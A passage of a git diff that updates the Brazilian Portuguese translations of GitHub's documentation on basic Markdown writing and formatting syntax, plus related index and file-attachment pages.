+- "[Dominar o markdown](https://guides.github.com/features/mastering-markdown/)"
diff --git a/translations/pt-BR/content/github/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax.md b/translations/pt-BR/content/github/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax.md
index f3c22ea38e..9105cb55d6 100644
--- a/translations/pt-BR/content/github/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax.md
+++ b/translations/pt-BR/content/github/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax.md
@@ -1,6 +1,6 @@
 ---
-title: Basic writing and formatting syntax
-intro: Create sophisticated formatting for your prose and code on GitHub with simple syntax.
+title: Sintaxe básica de escrita e formatação no GitHub
+intro: Crie formatação sofisticada para narração e código no GitHub com sintaxe simples.
 redirect_from:
   - /articles/basic-writing-and-formatting-syntax
   - /github/writing-on-github/basic-writing-and-formatting-syntax
@@ -9,64 +9,65 @@ versions:
   ghes: '*'
   ghae: '*'
   ghec: '*'
-shortTitle: Basic formatting syntax
+shortTitle: Sintaxe de formatação básica
 ---
-## Headings
 
-To create a heading, add one to six `#` symbols before your heading text. The number of `#` you use will determine the size of the heading.
+## Títulos
+
+Para criar um título, adicione de um a seis símbolos `#` antes do texto do título. O número de `#` que você usa determinará o tamanho do título.
 
 ```markdown
-# The largest heading
-## The second largest heading
-###### The smallest heading
+# O título maior
+## O segundo maior título
+###### O título menor
 ```
 
-![Rendered H1, H2, and H6 headings](/assets/images/help/writing/headings-rendered.png)
+![Títulos H1, H2 e H6 renderizados](/assets/images/help/writing/headings-rendered.png)
 
-## Styling text
+## Estilizar texto
 
-You can indicate emphasis with bold, italic, or strikethrough text in comment fields and `.md` files.  
+Você pode indicar ênfase com texto em negrito, itálico ou riscado em campos de comentários e arquivos de `.md`.
 
-| Style | Syntax | Keyboard shortcut | Example | Output |
-| --- | --- | --- | --- | --- |
-| Bold | `** **` or `__ __`| command/control + b | `**This is bold text**` | **This is bold text** |
-| Italic | `* *` or `_ _`     | command/control + i | `*This text is italicized*` | *This text is italicized* |
-| Strikethrough | `~~ ~~` | | `~~This was mistaken text~~` | ~~This was mistaken text~~ |
-| Bold and nested italic | `** **` and `_ _` | | `**This text is _extremely_ important**` | **This text is _extremely_ important** |
-| All bold and italic | `*** ***` | | `***All this text is important***` | ***All this text is important*** |
+| Estilo                     | Sintaxe             | Atalho              | Exemplo                                      | Resultado                                  |
+| -------------------------- | ------------------- | ------------------- | -------------------------------------------- | ------------------------------------------ |
+| Negrito                    | `** **` ou `__ __`  | command/control + b | `**Esse texto está em negrito**`             | **Esse texto está em negrito**             |
+| Itálico                    | `* *` ou `_ _`      | command/control + i | `*Esse texto está em itálico*`               | *Esse texto está em itálico*               |
+| Tachado                    | `~~ ~~`             |                     | `~~Esse texto estava errado~~`               | ~~Esse texto estava errado~~               |
+| Negrito e itálico aninhado | `** **` e `_ _`     |                     | `**Esse texto é _extremamente_ importante**` | **Esse texto é _extremamente_ importante** |
+| Todo em negrito e itálico  | `*** ***`           |                     | `***Todo esse texto é importante***`         | ***Todo esse texto é importante***         |
 
-## Quoting text
+## Citar texto
 
-You can quote text with a `>`.
+Você pode citar texto com um `>`.
 
 ```markdown
-Text that is not a quote
+Texto que não é uma citação
 
-> Text that is a quote
+> Texto que é uma citação
 ```
 
-![Rendered quoted text](/assets/images/help/writing/quoted-text-rendered.png)
+![Texto citado renderizado](/assets/images/help/writing/quoted-text-rendered.png)
 
 {% tip %}
 
-**Tip:** When viewing a conversation, you can automatically quote text in a comment by highlighting the text, then typing `r`. You can quote an entire comment by clicking {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}, then **Quote reply**. For more information about keyboard shortcuts, see "[Keyboard shortcuts](/articles/keyboard-shortcuts/)."
+**Dica:** ao exibir uma conversa, você pode citar textos automaticamente em um comentário destacando o texto e digitando `r`. É possível citar um comentário inteiro clicando em {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} e em **Quote reply** (Resposta à citação). Para obter mais informações sobre atalhos de teclado, consulte "[Atalhos de teclado](/articles/keyboard-shortcuts/)".
 
 {% endtip %}
 
-## Quoting code
+## Citar código
 
-You can call out code or a command within a sentence with single backticks. The text within the backticks will not be formatted.{% ifversion fpt or ghae or ghes > 3.1 or ghec %} You can also press the `command` or `Ctrl` + `e` keyboard shortcut to insert the backticks for a code block within a line of Markdown.{% endif %}
+Você pode chamar código ou um comando em uma frase com aspas simples. O texto entre aspas simples não será formatado.{% ifversion fpt or ghae or ghes > 3.1 or ghec %} Você também pode pressionar o comando `` ou `Ctrl` + `e` o atalho do teclado para inserir as aspas simples para um bloco de código dentro de uma linha de Markdown.{% endif %}
 
 ```markdown
-Use `git status` to list all new or modified files that haven't yet been committed.
+Use 'git status' para listar todos os arquivos novos ou modificados que ainda não receberam commit.
 ```
 
-![Rendered inline code block](/assets/images/help/writing/inline-code-rendered.png)
+![Bloco de código inline renderizado](/assets/images/help/writing/inline-code-rendered.png)
 
-To format code or text into its own distinct block, use triple backticks.
+Para formatar código ou texto no próprio bloco distinto, use aspas triplas.
 
 <pre>
-Some basic Git commands are:
+Alguns comandos Git básicos são:
 ```
 git status
 git add
@@ -74,84 +75,84 @@ git commit
 ```
 </pre>
 
-![Rendered code block](/assets/images/help/writing/code-block-rendered.png)
+![Bloco de código renderizado](/assets/images/help/writing/code-block-rendered.png)
 
-For more information, see "[Creating and highlighting code blocks](/articles/creating-and-highlighting-code-blocks)."
+Para obter mais informações, consulte "[Criar e destacar blocos de código](/articles/creating-and-highlighting-code-blocks)".
 
 {% data reusables.user_settings.enabling-fixed-width-fonts %}
 
 ## Links
 
-You can create an inline link by wrapping link text in brackets `[ ]`, and then wrapping the URL in parentheses `( )`. {% ifversion fpt or ghae or ghes > 3.1 or ghec %}You can also use the keyboard shortcut `command + k` to create a link.{% endif %}{% ifversion fpt or ghae-issue-5434 or ghes > 3.3 or ghec %} When you have text selected, you can paste a URL from your clipboard to automatically create a link from the selection.{% endif %}
+Você pode criar um link inline colocando o texto do link entre colchetes `[ ]` e, em seguida, o URL entre parênteses `( )`. {% ifversion fpt or ghae or ghes > 3.1 or ghec %}Você também pode usar o comando `de atalho de teclado + k` para criar um link.{% endif %}{% ifversion fpt or ghae-issue-5434 or ghes > 3.3 or ghec %} Ao selecionar o texto, você poderá colar uma URL da sua área de transferência para criar automaticamente um link a partir da seleção.{% endif %}
 
-`This site was built using [GitHub Pages](https://pages.github.com/).`
+`Este site foi construído usando [GitHub Pages](https://pages.github.com/).`
 
-![Rendered link](/assets/images/help/writing/link-rendered.png)
+![Link renderizado](/assets/images/help/writing/link-rendered.png)
 
 {% tip %}
 
-**Tip:** {% data variables.product.product_name %} automatically creates links when valid URLs are written in a comment. For more information, see "[Autolinked references and URLs](/articles/autolinked-references-and-urls)."
+**Dica:** o {% data variables.product.product_name %} cria links automaticamente quando URLs válidos são escritos em um comentário. Para obter mais informações, consulte "[Referências e URLs vinculados automaticamente](/articles/autolinked-references-and-urls)".
 
 {% endtip %}
 
-## Section links
+## Links de seção
 
 {% data reusables.repositories.section-links %}
 
-## Relative links
+## Links relativos
 
 {% data reusables.repositories.relative-links %}
 
-## Images
+## Imagens
 
-You can display an image by adding `!` and wrapping the alt text in`[ ]`. Then wrap the link for the image in parentheses `()`.
+Você pode exibir uma imagem adicionando `!` e por o texto alternativo em`[ ]`. Em seguida, coloque o link da imagem entre parênteses `()`.
 
-`![This is an image](https://myoctocat.com/assets/images/base-octocat.svg)`
+`![Isso é uma imagem](https://myoctocat.com/assets/images/base-octocat.svg)`
 
-![Rendered Image](/assets/images/help/writing/image-rendered.png)
+![Imagem interpretada](/assets/images/help/writing/image-rendered.png)
 
-{% data variables.product.product_name %} supports embedding images into your issues, pull requests{% ifversion fpt or ghec %}, discussions{% endif %}, comments  and `.md` files. You can display an image from your repository, add a link to an online image, or upload an image. For more information, see "[Uploading assets](#uploading-assets)."
+{% data variables.product.product_name %} é compatível com a incorporação de imagens nos seus problemas, pull requests{% ifversion fpt or ghec %}, discussões{% endif %}, comentários e arquivos `.md`. Você pode exibir uma imagem do seu repositório, adicionar um link para uma imagem on-line ou fazer o upload de uma imagem. Para obter mais informações, consulte[Fazer o upload de ativos](#uploading-assets)".
 
 {% tip %}
 
-**Tip:** When you want to display an image which is in your repository, you should use relative links instead of absolute links. 
+**Dica:** quando você quiser exibir uma imagem que está no seu repositório, você deverá usar links relativos em vez de links absolutos.
 
 {% endtip %}
 
-Here are some examples for using relative links to display an image.
+Aqui estão alguns exemplos para usar links relativos para exibir uma imagem.
 
-| Context | Relative Link |
-| ------ | -------- |
-| In a `.md` file on the same branch | `/assets/images/electrocat.png` |
-| In a `.md` file on another branch | `/../main/assets/images/electrocat.png` |
-| In issues, pull requests and comments of the repository | `../blob/main/assets/images/electrocat.png` |
-| In a `.md` file in another repository | `/../../../../github/docs/blob/main/assets/images/electrocat.png` |
-| In issues, pull requests and comments of another repository | `../../../github/docs/blob/main/assets/images/electrocat.png?raw=true` |
+| Contexto                                                       | Link relativo                                                          |
+| -------------------------------------------------------------- | ---------------------------------------------------------------------- |
+| Em um arquivo `.md` no mesmo branch                            | `/assets/images/electrocat.png`                                        |
+| Em um arquivo `.md` em outro branch                            | `/../main/assets/images/electrocat.png`                                |
+| Em problemas, pull requests e comentários do repositório       | `../blob/main/assets/images/electrocat.png`                            |
+| Em um arquivo `.md` em outro repositório                       | `/../../../../github/docs/blob/main/assets/images/electrocat.png`      |
+| Em problemas, pull requests e comentários de outro repositório | `../../../github/docs/blob/main/assets/images/electrocat.png?raw=true` |
 
 {% note %}
 
-**Note**: The last two relative links in the table above will work for images in a private repository only if the viewer has at least read access to the private repository which contains these images.
+**Observação**: Os dois últimos links relativos na tabela acima funcionarão para imagens em um repositório privado somente se o visualizador tiver pelo menos acesso de leitura ao repositório privado que contém essas imagens.
 
 {% endnote %}
 
-For more information, see "[Relative Links](#relative-links)."
+Para obter mais informações, consulte[Links relativos,](#relative-links)."
 
 {% ifversion fpt or ghec or ghes > 3.3 or ghae-issue-5559 %}
-### Specifying the theme an image is shown to
+### Especificando o tema para o qual uma imagem será exibida
 
-You can specify the theme an image is displayed to by appending `#gh-dark-mode-only` or `#gh-light-mode-only` to the end of an image URL, in Markdown.
+Você pode especificar o tema para o qual uma imagem é exibida acrescentando `#gh-dark-mode-only` ou `#gh-light-mode-only` no final de uma URL da imagem, em Markdown.
 
-We distinguish between light and dark color modes, so there are two options available. You can use these options to display images optimized for dark or light backgrounds. This is particularly helpful for transparent PNG images.
+Nós distinguimos entre os modos de cores claro e escuro. Portanto, há duas opções disponíveis. Você pode usar essas opções para exibir imagens otimizadas para fundos escuros ou claros. Isso é particularmente útil para imagens PNG transparentes.
 
-| Context | URL |
-|--------|--------|
-| Dark Theme | `![GitHub Light](https://github.com/github-light.png#gh-dark-mode-only)` |
-| Light Theme | `![GitHub Dark](https://github.com/github-dark.png#gh-light-mode-only)` |
+| Contexto    | URL                                                                      |
+| ----------- | ------------------------------------------------------------------------ |
+| Tema escuro | `![GitHub Light](https://github.com/github-light.png#gh-dark-mode-only)` |
+| Tema claro  | `![GitHub Dark](https://github.com/github-dark.png#gh-light-mode-only)`  |
 {% endif %}
 
-## Lists
+## Listas
 
-You can make an unordered list by preceding one or more lines of text with `-` or `*`.
+Você pode criar uma lista não ordenada precedendo uma ou mais linhas de texto com `-` ou `*`.
 
 ```markdown
 - George Washington
@@ -159,9 +160,9 @@ You can make an unordered list by preceding one or more lines of text with `-` o
 - Thomas Jefferson
 ```
 
-![Rendered unordered list](/assets/images/help/writing/unordered-list-rendered.png)
+![Lista não ordenada renderizada](/assets/images/help/writing/unordered-list-rendered.png)
 
-To order your list, precede each line with a number.
+Para ordenar a lista, coloque um número na frente de cada linha.
 
 ```markdown
 1. James Madison
@@ -169,174 +170,174 @@ To order your list, precede each line with a number.
 3. John Quincy Adams
 ```
 
-![Rendered ordered list](/assets/images/help/writing/ordered-list-rendered.png)
+![Lista ordenada renderizada](/assets/images/help/writing/ordered-list-rendered.png)
 
-### Nested Lists
+### Listas aninhadas
 
-You can create a nested list by indenting one or more list items below another item.
+Você pode criar uma lista aninhada recuando um ou mais itens da lista abaixo de outro item.
 
-To create a nested list using the web editor on {% data variables.product.product_name %} or a text editor that uses a monospaced font, like [Atom](https://atom.io/), you can align your list visually. Type space characters in front of your nested list item, until the list marker character (`-` or `*`) lies directly below the first character of the text in the item above it.
+Para criar uma lista aninhada usando o editor web do {% data variables.product.product_name %} ou um editor de texto que usa uma fonte monoespaçada, como o [Atom](https://atom.io/), você pode alinhar sua lista visualmente. Digite caracteres de espaço na fonte do item da lista aninhada, até que o caractere de marcador da lista (`-` ou `*`) fique diretamente abaixo do primeiro caractere do texto no item acima dele.
 
 ```markdown
-1. First list item
-   - First nested list item
-     - Second nested list item
+1. Primeiro item da lista
+   - Primeiro item de lista aninhado
+     - Segundo item de lista aninhada
 ```
 
-![Nested list with alignment highlighted](/assets/images/help/writing/nested-list-alignment.png)
+![Lista aninhada com alinhamento destacado](/assets/images/help/writing/nested-list-alignment.png)
 
-![List with two levels of nested items](/assets/images/help/writing/nested-list-example-1.png)
+![Lista com dois níveis de itens aninhados](/assets/images/help/writing/nested-list-example-1.png)
 
-To create a nested list in the comment editor on {% data variables.product.product_name %}, which doesn't use a monospaced font, you can look at the list item immediately above the nested list and count the number of characters that appear before the content of the item. Then type that number of space characters in front of the nested list item.
+Para criar uma lista aninhada no editor de comentários do {% data variables.product.product_name %}, que não usa uma fonte monoespaçada, você pode observar o item da lista logo acima da lista aninhada e contar o número de caracteres que aparecem antes do conteúdo do item. Em seguida, digite esse número de caracteres de espaço na fonte do item da linha aninhada.
 
-In this example, you could add a nested list item under the list item `100. First list item` by indenting the nested list item a minimum of five spaces, since there are five characters (`100. `) before `First list item`.
+Neste exemplo, você pode adicionar um item de lista aninhada abaixo do item de lista `100. Primeiro item da lista` recuando o item da lista aninhada com no mínimo cinco espaços, uma vez que há cinco caracteres (`100.`) antes de `Primeiro item da lista`.
 
 ```markdown
-100. First list item
-     - First nested list item
+100. Primeiro item da lista
+     - Primeiro item da lista aninhada
 ```
 
-![List with a nested list item](/assets/images/help/writing/nested-list-example-3.png)   
+![Lista com um item de lista aninhada](/assets/images/help/writing/nested-list-example-3.png)
 
-You can create multiple levels of nested lists using the same method. For example, because the first nested list item has seven characters (`␣␣␣␣␣-␣`) before the nested list content `First nested list item`, you would need to indent the second nested list item by seven spaces.
+Você pode criar vários níveis de listas aninhadas usando o mesmo método. Por exemplo, como o primeiro item da lista aninhada tem sete caracteres (`␣␣␣␣␣-␣`) antes do conteúdo da lista aninhada `Primeiro item da lista aninhada`, você precisaria recuar o segundo item da lista aninhada com sete espaços.
 
 ```markdown
-100. First list item
-     - First nested list item
-       - Second nested list item
+100. Primeiro item da lista
+     - Primeiro item da lista aninhada
+       - Segundo item da lista aninhada
 ```
 
-![List with two levels of nested items](/assets/images/help/writing/nested-list-example-2.png)    
+![Lista com dois níveis de itens aninhados](/assets/images/help/writing/nested-list-example-2.png)
 
-For more examples, see the [GitHub Flavored Markdown Spec](https://github.github.com/gfm/#example-265).
+Para obter mais exemplos, consulte a [Especificação de markdown em estilo GitHub](https://github.github.com/gfm/#example-265).
 
-## Task lists
+## Listas de tarefas
 
 {% data reusables.repositories.task-list-markdown %}
 
-If a task list item description begins with a parenthesis, you'll need to escape it with `\`:
+Se a descrição de um item da lista de tarefas começar com parênteses, você precisará usar a `\` para escape:
 
-`- [ ] \(Optional) Open a followup issue`
+`- [ ] \(Optional) Abrir um problema de acompanhamento`
 
-For more information, see "[About task lists](/articles/about-task-lists)."
+Para obter mais informações, consulte "[Sobre listas de tarefas](/articles/about-task-lists)".
 
-## Mentioning people and teams
+## Mencionar pessoas e equipes
 
-You can mention a person or [team](/articles/setting-up-teams/) on {% data variables.product.product_name %} by typing `@` plus their username or team name. This will trigger a notification and bring their attention to the conversation. People will also receive a notification if you edit a comment to mention their username or team name. For more information about notifications, see {% ifversion fpt or ghes or ghae or ghec %}"[About notifications](/github/managing-subscriptions-and-notifications-on-github/about-notifications){% else %}"[About notifications](/github/receiving-notifications-about-activity-on-github/about-notifications){% endif %}."
+Você pode mencionar uma pessoa ou [equipe](/articles/setting-up-teams/) no {% data variables.product.product_name %} digitando `@` mais o nome de usuário ou nome da equipe. Isto desencadeará uma notificação e chamará a sua atenção para a conversa. As pessoas também receberão uma notificação se você editar um comentário para mencionar o respectivo nome de usuário ou da equipe. Para obter mais informações, sobre notificações, consulte {% ifversion fpt or ghes or ghae or ghec %}"[Sobre notificações](/github/managing-subscriptions-and-notifications-on-github/about-notifications){% else %}"[Sobre notificações](/github/receiving-notifications-about-activity-on-github/about-notifications)"{% endif %}."
 
-`@github/support What do you think about these updates?`
+`@github/suporte O que você acha dessas atualizações?`
 
-![Rendered @mention](/assets/images/help/writing/mention-rendered.png)
+![@menção renderizada](/assets/images/help/writing/mention-rendered.png)
 
-When you mention a parent team, members of its child teams also receive notifications, simplifying communication with multiple groups of people. For more information, see "[About teams](/articles/about-teams)."
+Quando você menciona uma equipe principal, os integrantes de suas equipes secundárias também recebem notificações, simplificando a comunicação com vários grupos de pessoas. Para obter mais informações, consulte "[Sobre equipes](/articles/about-teams)".
 
-Typing an `@` symbol will bring up a list of people or teams on a project. The list filters as you type, so once you find the name of the person or team you are looking for, you can use the arrow keys to select it and press either tab or enter to complete the name. For teams, enter the @organization/team-name and all members of that team will get subscribed to the conversation.
+Digitar um símbolo `@` chamará uma lista de pessoas ou equipes em um projeto. A lista é filtrada à medida que você digita. Portanto, assim que você achar o nome da pessoa ou da equipe que está procurando, use as teclas de seta para selecioná-lo e pressione tab ou enter para completar o nome. Para equipes, digite nome da @organização/equipe e todos os integrantes dessa equipe serão inscritos na conversa.
 
-The autocomplete results are restricted to repository collaborators and any other participants on the thread.
+Os resultados do preenchimento automático são restritos aos colaboradores do repositório e qualquer outro participante no thread.
 
-## Referencing issues and pull requests
+## Fazer referências a problemas e pull requests
 
-You can bring up a list of suggested issues and pull requests within the repository by typing `#`. Type the issue or pull request number or title to filter the list, and then press either tab or enter to complete the highlighted result.
+Você pode trazer à tona uma lista de problemas e pull requests sugeridos no repositório digitando `#`. Digite o número ou o título do problema ou da pull request para filtrar a lista e, em seguida, pressione tab ou enter para completar o resultado destacado.
 
-For more information, see "[Autolinked references and URLs](/articles/autolinked-references-and-urls)."
+Para obter mais informações, consulte "[Referências e URLs vinculados automaticamente](/articles/autolinked-references-and-urls)".
 
-## Referencing external resources
+## Fazer referência a recursos externos
 
 {% data reusables.repositories.autolink-references %}
 
 {% ifversion ghes < 3.4 %}
-## Content attachments
+## Anexos de conteúdo
 
-Some {% data variables.product.prodname_github_apps %} provide information in {% data variables.product.product_name %} for URLs that link to their registered domains. {% data variables.product.product_name %} renders the information provided by the app under the URL in the body or comment of an issue or pull request.
+Alguns {% data variables.product.prodname_github_apps %} fornecem informações em {% data variables.product.product_name %} para URLs vinculadas aos seus domínios registrados. O {% data variables.product.product_name %} renderiza as informações fornecidas pelo app sob o URL no texto ou comentário de um problema ou uma pull request.
 
-![Content attachment](/assets/images/github-apps/content_reference_attachment.png)
+![Anexo de conteúdo](/assets/images/github-apps/content_reference_attachment.png)
 
-To see content attachments, you must have a {% data variables.product.prodname_github_app %} that uses the Content Attachments API installed on the repository.{% ifversion fpt or ghec %} For more information, see "[Installing an app in your personal account](/articles/installing-an-app-in-your-personal-account)" and "[Installing an app in your organization](/articles/installing-an-app-in-your-organization)."{% endif %}
+Para visualizar anexos de conteúdo, você deverá ter um {% data variables.product.prodname_github_app %} que use a API de Anexos de Conteúdo instalada no repositório.{% ifversion fpt or ghec %} Para obter mais informações, consulte "[Instalar um aplicativo na sua conta pessoal](/articles/installing-an-app-in-your-personal-account)" e "[Instalar um aplicativo na sua organização](/articles/installing-an-app-in-your-organization)".{% endif %}
 
-Content attachments will not be displayed for URLs that are part of a markdown link.
+Os anexos de conteúdo não serão exibidos para URLs que fazem parte de um link markdown.
 
-For more information about building a {% data variables.product.prodname_github_app %} that uses content attachments, see "[Using Content Attachments](/apps/using-content-attachments)."{% endif %}
+Para obter mais informações sobre a construção de um {% data variables.product.prodname_github_app %} que usa anexos de conteúdo, consulte "[Usando anexos de conteúdo](/apps/using-content-attachments)."{% endif %}
 
-## Uploading assets
+## Fazer upload de ativos
 
-You can upload assets like images by dragging and dropping, selecting from a file browser, or pasting. You can upload assets to issues, pull requests, comments, and `.md` files in your repository.
+Você pode fazer upload de ativos como imagens, arrastando e soltando, fazendo a seleção a partir de um navegador de arquivos ou colando. É possível fazer o upload de recursos para problemas, pull requests, comentários e arquivos `.md` no seu repositório.
 
-## Using emoji
+## Usar emoji
 
-You can add emoji to your writing by typing `:EMOJICODE:`.
+Você pode adicionar emoji à sua escrita digitando `:EMOJICODE:`.
 
-`@octocat :+1: This PR looks great - it's ready to merge! :shipit:`
+`@octocat :+1: Este PR parece ótimo - está pronto para o merge! :shipit:`
 
-![Rendered emoji](/assets/images/help/writing/emoji-rendered.png)
+![Emoji renderizado](/assets/images/help/writing/emoji-rendered.png)
 
-Typing `:` will bring up a list of suggested emoji. The list will filter as you type, so once you find the emoji you're looking for, press **Tab** or **Enter** to complete the highlighted result.
+Digitar `:` trará à tona uma lista de emojis sugeridos. A lista será filtrada à medida que você digita. Portanto, assim que encontrar o emoji que estava procurando, pressione **Tab** ou **Enter** para completar o resultado destacado.
 
-For a full list of available emoji and codes, check out [the Emoji-Cheat-Sheet](https://github.com/ikatyang/emoji-cheat-sheet/blob/master/README.md).
+Para obter uma lista completa dos emojis e códigos disponíveis, confira [a lista de emojis](https://github.com/ikatyang/emoji-cheat-sheet/blob/master/README.md).
 
-## Paragraphs
+## Parágrafos
 
-You can create a new paragraph by leaving a blank line between lines of text.
+Você pode criar um parágrafo deixando uma linha em branco entre as linhas de texto.
 
 {% ifversion fpt or ghae-issue-5180 or ghes > 3.2 or ghec %}
-## Footnotes
+## Notas de rodapé
 
-You can add footnotes to your content by using this bracket syntax:
+Você pode adicionar notas de rodapé ao seu conteúdo usando esta sintaxe entre colchetes:
 
 ```
-Here is a simple footnote[^1].
+Essa é uma simples nota de rodapé[^1].
 
-A footnote can also have multiple lines[^2].  
+Uma nota de rodapé também pode ter várias linhas[^2].  
 
-You can also use words, to fit your writing style more closely[^note].
+Você também pode usar palavras, para se adequar melhor ao seu estilo de escrita[^note].
 
-[^1]: My reference.
-[^2]: Every new line should be prefixed with 2 spaces.  
-  This allows you to have a footnote with multiple lines.
+[^1]: Minha referência.
+[^2]: Cada nova linha deve ser precedida de 2 espaços.  
+  Isso permite que você tenha uma nota de rodapé com várias linhas.
 [^note]:
     Named footnotes will still render with numbers instead of the text but allow easier identification and linking.  
-    This footnote also has been made with a different syntax using 4 spaces for new lines.
+    Essa nota de rodapé também foi feita com uma sintaxe diferente usando 4 espaços para novas linhas.
 ```
 
-The footnote will render like this:
+A nota de rodapé será interpretada da seguinte forma:
 
-![Rendered footnote](/assets/images/site/rendered-footnote.png)
+![Nota de rodapé interpretada](/assets/images/site/rendered-footnote.png)
 
 {% tip %}
 
-**Note**: The position of a footnote in your Markdown does not influence where the footnote will be rendered. You can write a footnote right after your reference to the footnote, and the footnote will still render at the bottom of the Markdown.
+**Observação**: A posição de uma nota de rodapé no seu Markdown não influencia o lugar onde a nota de rodapé será interpretada. Você pode escrever uma nota de rodapé logo após sua referência à nota de rodapé, e ela continuará sendo interpretada na parte inferior do Markdown.
 
 {% endtip %}
 {% endif %}
 
-## Hiding content with comments
+## Ocultando o conteúdo com comentários
 
-You can tell {% data variables.product.product_name %} to hide content from the rendered Markdown by placing the content in an HTML comment.
+Você pode dizer a {% data variables.product.product_name %} para ocultar o conteúdo do markdown interpretado, colocando o conteúdo em um comentário HTML.
 
 <pre>
 &lt;!-- This content will not appear in the rendered Markdown --&gt;
 </pre>
 
-## Ignoring Markdown formatting
+## Ignorar formatação markdown
 
-You can tell {% data variables.product.product_name %} to ignore (or escape) Markdown formatting by using `\` before the Markdown character.
+Você pode informar o {% data variables.product.product_name %} para ignorar (ou usar escape) a formatação markdown usando `\` antes do caractere markdown.
 
-`Let's rename \*our-new-project\* to \*our-old-project\*.`
+`Vamos renomear \*our-new-project\* para \*our-old-project\*.`
 
-![Rendered escaped character](/assets/images/help/writing/escaped-character-rendered.png)
+![Caractere com escape renderizado](/assets/images/help/writing/escaped-character-rendered.png)
 
-For more information, see Daring Fireball's "[Markdown Syntax](https://daringfireball.net/projects/markdown/syntax#backslash)."
+Para obter mais informações, consulte "[Sintaxe markdown](https://daringfireball.net/projects/markdown/syntax#backslash)" de Daring Fireball.
 
 {% ifversion fpt or ghes > 3.2 or ghae-issue-5232 or ghec %}
 
-## Disabling Markdown rendering
+## Desabilitando a interpretação do Markdown
 
 {% data reusables.repositories.disabling-markdown-rendering %}
 
 {% endif %}
 
-## Further reading
+## Leia mais
 
-- [{% data variables.product.prodname_dotcom %} Flavored Markdown Spec](https://github.github.com/gfm/)
-- "[About writing and formatting on GitHub](/articles/about-writing-and-formatting-on-github)"
-- "[Working with advanced formatting](/articles/working-with-advanced-formatting)"
-- "[Mastering Markdown](https://guides.github.com/features/mastering-markdown/)"
+- [Especificações de markdown em estilo {% data variables.product.prodname_dotcom %}](https://github.github.com/gfm/)
+- "[Sobre escrita e formatação no GitHub](/articles/about-writing-and-formatting-on-github)"
+- "[Trabalhar com formatação avançada](/articles/working-with-advanced-formatting)"
+- "[Dominar o markdown](https://guides.github.com/features/mastering-markdown/)"
diff --git a/translations/pt-BR/content/github/writing-on-github/getting-started-with-writing-and-formatting-on-github/index.md b/translations/pt-BR/content/github/writing-on-github/getting-started-with-writing-and-formatting-on-github/index.md
index 568196ac4e..fe81648a93 100644
--- a/translations/pt-BR/content/github/writing-on-github/getting-started-with-writing-and-formatting-on-github/index.md
+++ b/translations/pt-BR/content/github/writing-on-github/getting-started-with-writing-and-formatting-on-github/index.md
@@ -1,10 +1,10 @@
 ---
-title: Getting started with writing and formatting on GitHub
+title: Introdução à escrita e formatação no GitHub
 redirect_from:
   - /articles/markdown-basics
   - /articles/things-you-can-do-in-a-text-area-on-github
   - /articles/getting-started-with-writing-and-formatting-on-github
-intro: 'You can use simple features to format your comments and interact with others in issues, pull requests, and wikis on GitHub.'
+intro: 'No GitHub, com recursos simples você pode formatar seus comentários e interagir com problemas, pull requests e wikis.'
 versions:
   fpt: '*'
   ghes: '*'
@@ -13,6 +13,6 @@ versions:
 children:
   - /about-writing-and-formatting-on-github
   - /basic-writing-and-formatting-syntax
-shortTitle: Start writing on GitHub
+shortTitle: Comece a escrever no GitHub
 ---
 
diff --git a/translations/pt-BR/content/github/writing-on-github/index.md b/translations/pt-BR/content/github/writing-on-github/index.md
index e53ef2f32b..afa43d67e8 100644
--- a/translations/pt-BR/content/github/writing-on-github/index.md
+++ b/translations/pt-BR/content/github/writing-on-github/index.md
@@ -1,11 +1,11 @@
 ---
-title: Writing on GitHub
+title: Gravar no GitHub
 redirect_from:
   - /categories/88/articles
   - /articles/github-flavored-markdown
   - /articles/writing-on-github
   - /categories/writing-on-github
-intro: 'You can structure the information shared on {% data variables.product.product_name %} with various formatting options.'
+intro: 'Você pode estruturar as informações compartilhadas em {% data variables.product.product_name %} com várias opções de formatação.'
 versions:
   fpt: '*'
   ghes: '*'
diff --git a/translations/pt-BR/content/github/writing-on-github/working-with-advanced-formatting/attaching-files.md b/translations/pt-BR/content/github/writing-on-github/working-with-advanced-formatting/attaching-files.md
index 5f8e3d33ce..1180eb3bdb 100644
--- a/translations/pt-BR/content/github/writing-on-github/working-with-advanced-formatting/attaching-files.md
+++ b/translations/pt-BR/content/github/writing-on-github/working-with-advanced-formatting/attaching-files.md
@@ -1,6 +1,6 @@
 ---
-title: Attaching files
-intro: You can convey information by attaching a variety of file types to your issues and pull requests.
+title: Anexando arquivos
+intro: Você pode transmitir informações anexando vários tipos de arquivo aos seus problemas e pull requests.
 redirect_from:
   - /github/managing-your-work-on-github/managing-your-work-with-issues-and-pull-requests/file-attachments-on-issues-and-pull-requests
   - /articles/issue-attachments
@@ -17,44 +17,44 @@ topics:
 
 {% warning %}
 
-**Warning:** If you add an image{% ifversion fpt or ghes > 3.1 or ghae or ghec %} or video{% endif %} to a pull request or issue comment, anyone can view the anonymized URL without authentication, even if the pull request is in a private repository{% ifversion ghes %}, or if private mode is enabled{% endif %}. To keep sensitive media files private, serve them from a private network or server that requires authentication. {% ifversion fpt or ghec %}For more information on anonymized URLs see "[About anonymized URLs](/github/authenticating-to-github/about-anonymized-urls)".{% endif %}
+**Aviso:** Se você adicionar uma imagem{% ifversion fpt or ghes > 3.1 or ghae or ghec %} ou vídeo{% endif %} a um comentário de pull request ou problema, qualquer um poderá ver a URL anônima sem autenticação, mesmo se o pull request estiver em um repositório privado{% ifversion ghes %} ou se o modo privado estiver habilitado{% endif %}. Para manter arquivos de mídia confidenciais privados, forneça-os a partir de uma rede privada ou servidor que exige autenticação. {% ifversion fpt or ghec %}Para mais informações sobre URLs anônimas, consulte "[Sobre URLs anônimas](/github/authenticating-to-github/about-anonymized-urls)".{% endif %}
 
 {% endwarning %}
 
-To attach a file to an issue or pull request conversation, drag and drop it into the comment box. Alternatively, you can click the bar at the bottom of the comment box to browse, select, and add a file from your computer.
+Para anexar um arquivo a uma conversa sobre um problema ou pull request, arraste-o e solte-o dentro da caixa de comentários. Como alternativa, você pode clicar na barra na parte inferior da caixa de comentários para navegar, selecionar e adicionar um arquivo do seu computador.
 
-![Select attachments from computer](/assets/images/help/pull_requests/select-bar.png)
